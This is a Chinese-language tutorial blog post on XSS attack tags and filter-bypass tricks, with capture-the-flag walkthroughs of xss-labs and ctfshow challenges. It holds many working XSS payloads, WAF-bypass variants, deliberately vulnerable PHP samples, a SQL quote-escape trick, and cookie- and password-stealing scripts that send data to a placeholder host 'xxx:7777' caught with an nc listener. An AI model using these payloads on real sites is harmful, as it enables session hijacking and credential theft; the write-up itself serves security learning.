XSS常用攻击标签及绕过姿势总结

前言

之前在XSS方面只有很浅的了解,再次学习过后,这里对其部分知识进行总结,同时用例题来讲解,希望能对在学习XSS的师傅有所帮助

什么是XSS

XSS,全拼Cross Site Scripting,中文含义是跨站脚本攻击,为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS

原理

恶意攻击者在网站中插入恶意script代码,当web用户访问此网站时,恶意script代码被触发,就达到了攻击用户的目的,获取了用户的部分信息

危害

1、窃取管理员帐号或Cookie,入侵者可以冒充管理员的身份登录后台。使得入侵者具有恶意操纵后台数据的能力,包括读取、更改、添加、删除一些信息。
2、窃取用户的个人信息或者登录帐号,对网站的用户安全产生巨大的威胁。例如冒充用户身份进行各种操作。
3、网站挂马。先将恶意攻击代码嵌入到Web应用程序之中。当用户浏览该挂马页面时,用户的计算机会被植入木马。
4、发送广告或者垃圾信息。攻击者可以利用XSS漏洞植入广告,或者发送垃圾信息,严重影响到用户的正常使用。

分类

反射型XSS

反射型XSS也被称为非持久性XSS,当用户访问一个带有XSS代码的HTML请求时,服务器端接收数据后处理,然后把带有XSS的数据发送到浏览器,浏览器解析这段带有XSS代码的数据后,就造成XSS漏洞,这个过程就像一次反射,所以叫反射型XSS。
在这里插入图片描述

存储型XSS

存储型XSS又被称为持久性XSS,存储型XSS是最危险的一种跨站脚本漏洞,当攻击者提交一段 XSS代码后,被服务端接收并存储,当攻击者或用户再次访问某个页面时,这段XSS代码被程序读出来响应给浏览器,造成XSS跨站攻击,这是存储型XSS。
在这里插入图片描述

DOM型

不经过后端,DOM—based XSS漏洞是基于文档对象模型Document Objeet Model,DOM)的一种漏洞,dom – xss是通过url传入参数去控制触发的。(属于是反射型的特殊情况)
可能触发类型

document.referer
window.name
location
innerHTML
documen.write

攻击常用标签

script标签

1、<script>alert(1)</alert>//弹出1
2、<script>alert("xss")</alert>//弹出xss
3、<script>alert(/xss/)</alert>//弹出xss

img标签

<img  src=javascript:alert(1)>
//调用js代码弹1
<img  src=1  οnerrοr=alert(1)> 
//访问1这个地址对应的图片,如果错误就执行onerror里的代码,因为1不是一个链接,故会执行后面的语句,从而弹出1
<img src=1 onmouseover="alert(1)">
//鼠标指针移动到元素时触发弹出1

a标签

<a href=javascript:alert('xss')>quan9i</a>
//点击quan9i这个链接触发js,弹出xss
<a href="" onclick=alert('xss')>a</a>
//原理同上

input标签

<input onfocus="alert('xss');">
<input onblur=alert("xss") autofocus><input autofocus>
//使得焦点自动到元素上,自动触发代码,弹出xss

body标签

<body οnlοad=alert(1)>

svg标签

<svg onload=alert(1)>

iframe标签

<iframe onload=alert("xss");></iframe>
//onload:当页面加载完毕时执行代码,在这里也就是弹出xss

常用绕过姿势

双写及大小写绕过

在遇到直接把script替换为空的过滤方式时,可以采用双写方式,构造script,举个栗子<scrscriptipt>,此时按照过滤方式,中间的script被替换为空,那此时剩下的部分就是<script>,也就成功绕过了。
测试代码

<?php
    function filter($payload){
        $data=str_replace("script","",$payload);
        return $data;
    }
    $name=filter($_GET["name"]);
    echo "hello $name";
?>

正常情况

<script>alert(/quan9i/)</script>

在这里插入图片描述
双写绕过时

name=<scrscriptipt>alert(/quan9i/)</scrscriptipt>
在这里插入图片描述

在这里插入图片描述
可以发现成功绕过了,错误的过滤方式甚至可以帮助我们绕过GOOgle浏览器的XSS过滤器

遇到没有考虑大小写时,可以通过大小写的变化来进行绕过,比如<SCriPT>
测试代码

<?php
    function filter($payload){
        if(preg_match('/script/', $payload)){
            return "hacker!!!";   
        }
        return $payload;
    }
    $name=filter($_GET["name"]);
    echo "you are $name";
?>

正常情况

name=<script>alert('quan9i')</script>

结果如下
在这里插入图片描述
大小写绕过时

name=<SCRipt>alert('quan9i')</SCRipt>

结果如下
在这里插入图片描述

实体编码绕过(输出在标签属性中)

如果<>被过滤,我们无法引入新标签,此时可以引入标签的事件,例如onload这些,而如果存在内容过滤,例如这种

$str2=str_replace("alert(1)","ale_rt(1)",$str);

此时我们就可以用HTML编码来绕过检测
在这里插入图片描述
得到

&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

这时候放入我们的事件中即可,比如是img标签,我们就可以引入一个onerror事件

<img src=1 oneerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;"/>

此时就可以触发弹窗,能触发与浏览器渲染页面的顺序有关。我们的payload在标签属性中,在触发事件前,浏览器已经对其进行了一次解码,也就把&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;变成了alert(1)

闭合语句绕过

当遇到无法构造<>被过滤时,我们可以闭合JavaScript语句,使得攻击语句逃逸,示例代码如下

<input name="xianzhi"  value="'.$payload.'" type="hidden">

此时的payload是可控的,我们构造payload为" onclick=alert(1) type="text"//,此时在源代码中就是

<input name="xianzhi"  value="" onclick=alert(1) type="text"//" type="hidden">

此时后面相当于注释,不再看,而//则同时发挥了闭合的作用。使得成功弹窗
但有经验的程序员往往会想到这点,从而直接将'进行转义,进而防御xss,但在部分情况下仍然存在注入。例如SQL中的双输入情况

select * from users where name = '输入1' and pass =  '输入2';

我们此时在输入1中输入\,在输入2中输入union select xxxxxx#,就成功进行了攻击,此时语句为

select * from users where name = '\' and pass =  'union select xxxxxx#';

\将第二个'转义,导致第一个单引号与第三个单引号闭合,此时我们攻击语句构造完成后,在最后加上#,#把后面单引号注释,就成功实现了攻击语句逃逸。
在XSS中也同样存在这种情况,示例代码

<?php
    $name=$_GET['name'];
    $name=htmlentities($name,ENT_QUOTES);
    $address=$_GET['addr'];
    $address=htmlentities($address,ENT_QUOTES);
?>
<!DOCTYPE HTML>
<html>
<head>
    <meata charset="gb18030">
    <title>xianzhi</title>
</head>
<body>
    <script type="text/javascript">
        var url='http://xz.com/?name<?=$name?>'+'<?=$address?>';
    </script>
</body>
</html>

输入点有两个,分别是nameaddr,输出点也是这两个,这里如果输入单引号的话,因为有
htmlentities函数,所以会转换为实体编码,此时我们看这个语句

var url='http://xz.com/?name<?=$name?>'+'<?=$address?>';

这个name变量后面是单引号,如果我们给它转义了,第一个就会与第三个闭合,我们再用//进行注释,就可以实现攻击语句逃逸,构造payload如下

name=xianzhi\&addr=;alert(/xianzhi/);//

执行结果
在这里插入图片描述

在这里插入图片描述

绕过空格

在做题时,可能会遇到一种情况就是将空格替换为空,此时我们的办法就是找代替空格的,在XSS常见绕过空格的方法

%0a
/**/

绕WAF

开启XX狗后,普通的XSS是无法实现绕过的
在这里插入图片描述这里的思路呢,就是利用不常用的标签和新的HTML5新标签来进行绕过,经过测试,将可用绕过的姿势总结如下

姿势

iframe标签

<iframe onload="alert(document.cookie)"></iframe>
在这里插入图片描述

audio标签

<audio src=1 onerror=alert(1)>
在这里插入图片描述

video标签

<video src=x onerror=alert(48)>
在这里插入图片描述

svg标签

在这里插入图片描述

button标签

<button onfocus=alert(1)>
<button onclick=alert(1)>
在这里插入图片描述

object标签

这个方法需要借助data伪协议来配合使用

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgncXVhbjlpJyk8L3NjcmlwdD4="></object>
//内容经base64解密后为<script>alert('quan9i')</script>
在这里插入图片描述

div标签

这个需要借助url编码来实现绕过

<div onmouseover%3d'alert%26lpar%3b1%26rpar%3b'>DIV<%2fdiv>

实战

双写及大小写绕过

0X01

尝试<script>alert(1)</script>
在这里插入图片描述
发现直接将script给过滤了,这里的思路想到可能是双写绕过,因为这种直接过滤的一般都是把script替换为空。
查看一下源码
在这里插入图片描述

我们发现这里不仅过滤了script,我们这里可以换标签,再利用双写实现攻击语句逃逸,这时候我们用"/>闭合标签,自己再构造一个恶意的超链接即可,构造payload如下

"/><a hrhrefef=javascrscriptipt:alert(1)>1</a>
//经测试href被过滤,所以这里也需要双写

执行结果如下
在这里插入图片描述

0X02

输入<script>alert(1)</script>
在这里插入图片描述

查看源代码
在这里插入图片描述
这里发现过滤了script,看起来与0x01那个题很像,我们此时尝试上关的payload

"/><a hrhrefef=javascrscriptipt:alert(1)>1</a>

没有成功,此时查看源代码

<h2 align=center>没有找到和&quot;/&gt;&lt;a href=javascript:alert(1)&gt;1&lt;/a&gt;相关的结果.</h2><center>
<form action=level6.php method=GET>
<input name=keyword  value=""/><a hr_ef=javascript:alert(1)>1</a>">
<input type=submit name=submit value=搜索 />

这里的话可以发现href被过滤了,可能还有其他方法?但经过尝试,暂未找到其他方法,这里的话考虑的就是大小写绕过了,其他好像也没啥方法了,双写绕过没戏,因此尝试一下大小写绕过

"/><a hRef=javasCript:alert(1)>1</a>
在这里插入图片描述

实体编码绕过

在这里插入图片描述
查看源码
在这里插入图片描述
发现我们填的是在超链接中的,此时会跳转到对应界面,如果我们利用JavaScript来执行xss语句,是不是也能执行出来呢,此时我们进行测试。
输入javascript:alert(1)进行测试
查看源代码

<a href="您的链接不合法?有没有!">友情链接</a>

提示链接不合法,想着正常的链接一般是http://这种,我们随便输入一个尝试一下看是否正常

http://quan9i.top

在这里插入图片描述
点击后确实跳转了
在这里插入图片描述
说明和我们想的一样,这里需要有http://,可是放前面的话JavaScript是无法触发的,那此时的思路就是放后面然后进行注释

javascript:alert(1)//http://

但是此时点击链接仍未出现弹窗,查看源代码

<a href="javascr_ipt:alert(1)//http://">友情链接</a>

script被过滤,因此我们这里对script进行HTML实体编码,构造payload如下

java&#115;&#99;&#114;&#105;&#112;&#116;:alert(1)//http://
在这里插入图片描述

闭合语句绕过

0X01

在这里插入图片描述

进入界面后,发现没有按钮和搜素框,有点怪,看到参数有个keyword,先简单试一下xss

keyword=<script>alert(1)</script>

查看源代码

<h1 align=center>欢迎来到level10</h1>
<h2 align=center>没有找到和&lt;script&gt;alert(1)&lt;/script&gt;相关的结果.</h2><center>
<form id=search>
<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value="" type="hidden">
</form>
</center><center><img src=level10.png></center>
<h3 align=center>payload的长度:25</h3></body>
</html>

可以看到我们keyword输入的内容被进行了HTML实体编码,所以基本没戏,同时发现三个隐藏的参数,对这三个参数进行赋值,看哪个会有回显

keyword=1&t_link=test&t_history=test&t_sort=test

查看源码

<h1 align=center>欢迎来到level10</h1>
<h2 align=center>没有找到和1相关的结果.</h2><center>
<form id=search>
<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value="test" type="hidden">
</form>
</center><center><img src=level10.png></center>

发现t_sort参数是有回显的,不过呢,这个由于type是隐藏的,所以在界面上是无回显的,因此我们这里修改type为text或者button都是可以的,下图中的值都是可以的
在这里插入图片描述

那想要构造的话,首先需要把value这个给闭合了,所以payload首先需要一个",而后构造onclick事件,点击触发xss即可,思路有了,构造payload也就好办了,构造payload如下

keyword=1&t_sort="type="checkbox" onclick=alert(1)//
此时语句就是
<input name="t_sort"  value=""type="checkbox" onclick=alert(1)//" type="hidden">
也就是<input name="t_sort"  value=""type="checkbox" onclick=alert(1)//
在这里插入图片描述

0X02

在这里插入图片描述
没有搜索框,只有一个参数
此时我们随便输入个<script>然后查看源代码

<h1 align=center>欢迎来到level11</h1>
<h2 align=center>没有找到和&lt;script&gt;相关的结果.</h2><center>
<form id=search>
<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value="test" type="hidden">
<input name="t_ref"  value="" type="hidden">
</form>

keyword内容被转换为HTML实体,G,看下面,变成了四个隐藏参数,同上关,测试看哪个有回显

keyword=<script>&t_link=test&t_history=test&t_sort=test&t_ref=test
在这里插入图片描述

t_sort有回显,确定注入参数,尝试上关方法

keyword=1&t_sort="type="checkbox" onclick=alert(1)//

没有出现框,查看源代码

<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value="&quot;type=&quot;checkbox&quot; onclick=alert(1)//" type="hidden">
<input name="t_ref"  value="" type="hidden">

发现双引号被转换为HTML实体,这个也没戏,这个也G,此时我查看过其他师傅的wp后,得知这里的t_ref参数是用Referer传值的,没有解释具体的原因,博主也只是小白,这个思路非要理的话也只能说是从ref这个想,或者抓包看有没有Referer头,Referer是告诉服务器你是从哪里来的,比如你在google中点击baidu.com这个链接,Referer头就是https://google.com,这里我们先进行测试一下,传个Referer值
在这里插入图片描述
看源代码
在这里插入图片描述
因此找到新的注入点,我们构造语句来闭合value,同之前相似,构造payload如下

" type="password" onclick=alert(1)//
在这里插入图片描述

空格绕过

题目

圣诞快乐,写下祝福语,生成链接,发送给朋友,可以领取十个鸡蛋!

在这里插入图片描述
经过测试script被过滤
此时我们用iframe标签来进行攻击

<iframe onload=alert(1);></iframe>

发现弹不出来,这里有空格,所以首先考虑一下是否空格被ban,我们这里用/**/来代替空格

<iframe/**/onload=alert(1);></iframe>
<iframe/**/onload=alert(document.cookie);></iframe>

在这里插入图片描述
确实可以。
flag藏于cookie中,我们需要想办法获取管理员的cookie,肯定不能<iframe/**/onload=alert(document.cookie);></iframe> ,因为这样的话得到的是自己的cookie,需要的是管理员的cookie,这时候有个方法就是我们利用我们的vps,用nc端口监听,然后直接我们在搜索框中添加一个js跳转链接加上获取cookie的代码,这时候管理员就会访问我们的ip地址,我们也就拿到了管理员cookie,也就得到了flag,思路有了,那payload构造也并非难事
先在vps开启监听

nc -lvnp 7777
//虽然只能接收一次,但我们可以nc多次

payload有以下几种

<body/**/onload="window.open('http://xxx:7777/'+document.cookie)"></body>
<svg/**/onload="window.open('http://xxx:7777/'+document.cookie)"></svg>
<input/**/onfocus="window.open('http://xxx:7777/'+document.cookie)" autofocus></input>
<iframe/**/onload="window.open('http://xxx:7777/'+document.cookie)"></iframe>

在这里插入图片描述
此时就得到了管理员cookie,解题完成

DOM型实战

0X01

在这里插入图片描述
发现有注册的,先随便注册一下,然后登录
在这里插入图片描述
只有管理员可以查看,这里的话我们的思路就是获取当前管理员的cookie,但是要从哪里着手呢,此时查看用户名和密码的源代码
在这里插入图片描述
可以发现这两个都是不存在单引号或者双引号包裹的,因此我们可以直接插入一段js代码,借助vps调出管理员的cookie,而后修改我们的cookie为管理员的cookie,此时我们的身份就变成了管理员的,因此我们这里去再注册一个,账号注册如下

<iframe onload="window.open('http://xxx:7777/'+document.cookie)"></iframe>
<script>window.location.href='http://xxx:7777/'+document.cookie;</script>

密码随便写(当然,账号随便写,密码写成这个也可以)
在你的vps开启监听端口

nc -lvnp 7777

登录后点击用户管理,此时再看vps
在这里插入图片描述
得到管理员cookieruenb618p3e7tg5a6gtumcs89b
修改cookie值,刷新界面
在这里插入图片描述
得到flagctfshow{d5cdea15-ce33-4df2-b9f0-13aab7b94fa1}

0X02

直接利用vps获取cookie,但是此时cookie一直是无效的,可能是管理员访问后立马登出,导致了cookie失效,我们这里获取的话可以去获取它的用户名和密码界面
在这里插入图片描述
可以看见这个密码的话是在layui-table-cell laytable-cell-1-0-1类中的,因此我们需要用getElementsByClassName来获取,getElementsByClassName的作用是获取所有指定类名的元素
在控制台中document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1')可以发现
在这里插入图片描述
密码在innerHTML中,此时再试着将这个输出
在这里插入图片描述
这时候就得到了密码,那我们此时利用这个即可构造得到flag的语句,如下

<script>window.open('http://xxx:7777/'+document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1')[1].innerHTML)</script>
在这里插入图片描述

0X03

发现此时多了一个修改密码的界面,我们在修改密码界面打开控制台
在这里插入图片描述
在这里可以看见layui-container类包含了整个界面,因此类就确定为layui-container,此时我们用
querySelector方法,querySelector() 方法返回文档中匹配指定 CSS 选择器的一个元素。,在这里的话我们就将这个界面的文本进行输出,因此构造payload如下即可

<script>window.open('http://xxx:7777/'+document.querySelector('#top > div.layui-container').textContent)</script>

参考文献

《从0到1:CTFer成长之路》
https://www.cnblogs.com/hookjoy/p/3538487.html
https://blog.csdn.net/LYJ20010728/article/details/116462782
https://wizardforcel.gitbooks.io/xss-naxienian/content/2.html
https://blog.csdn.net/qq_42383069/article/details/123419621
https://www.cnblogs.com/csnd/p/11807592.html
https://www.freebuf.com/articles/web/334662.html
https://www.freebuf.com/articles/web/276998.html
https://www.cnblogs.com/sfsec/p/15178028.html

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇
 
...